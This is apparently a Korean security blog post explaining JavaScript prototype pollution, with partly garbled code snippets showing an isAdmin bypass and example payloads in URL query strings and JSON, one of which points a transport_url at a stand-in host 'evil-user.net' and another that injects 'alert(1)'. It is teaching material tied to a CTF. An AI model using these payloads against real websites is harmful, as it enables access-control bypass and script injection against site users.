Javascript Prototype Pollution
작성자 정보
- za9uar 작성
- 작성일
본문
객체지향 언어 Javascript
Javascript는 객체지향 언어이고, prototype이라는 것을 이용해서 상속 기능을 구현했다.
Javascript Prototype Chain
Javascript에서 객체의 부모는 __proto__로 접근할 수 있다.
다른 언어와 동일하게 자식 객체에서 변수를 찾을 수 없으면 상속 전 부모 객체에서 해당 변수를 찾는다.
Javascript에서 이것을 Prototype Chain이라고 부른다.
var t1 = { var t2 = { t2.__proto__ = t1; t2.name // 'aaaa' |
Javascript Prototype Pollution
Javascript 객체지향 기술인 Prototype Chain을 통해 로직을 우회하거나 공격자가 원하는 코드를 실행하도록 하는 공격
let A = {num: 10}; let user = { A.__proto__.isAdmin = true; // Prototype Pollution if (user.isAdmin) { |
__proto__를 사용하여 상위로 Chain하는 예시
username.__proto__
username['__proto__']
username.__proto__
username.__proto__.__proto__
username.__proto__.__proto__.__proto__
URL을 통한 Prototype Pollution 예시
https://vulnerable-website.com/?__proto__[evilProperty]=payload
https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//
JSON을 통한 Prototype Pollution 예시
{
"__proto__": {
"evilProperty": "payload"
}
}
* TIP) JSON.parse() 메서드는 JSON 객체의 모든 키를 임의의 문자열로 처리한다.
Layer7 CTF 2023 - TEST 문제
(필요 시 연락주세요)
※ 참조
https://ufo.stealien.com/2020-12-23/javascript-prototype-pollution
https://portswigger.net/web-security/prototype-pollution
https://portswigger.net/web-security/prototype-pollution/javascript-prototypes-and-inheritance
관련자료
-
이전
-
다음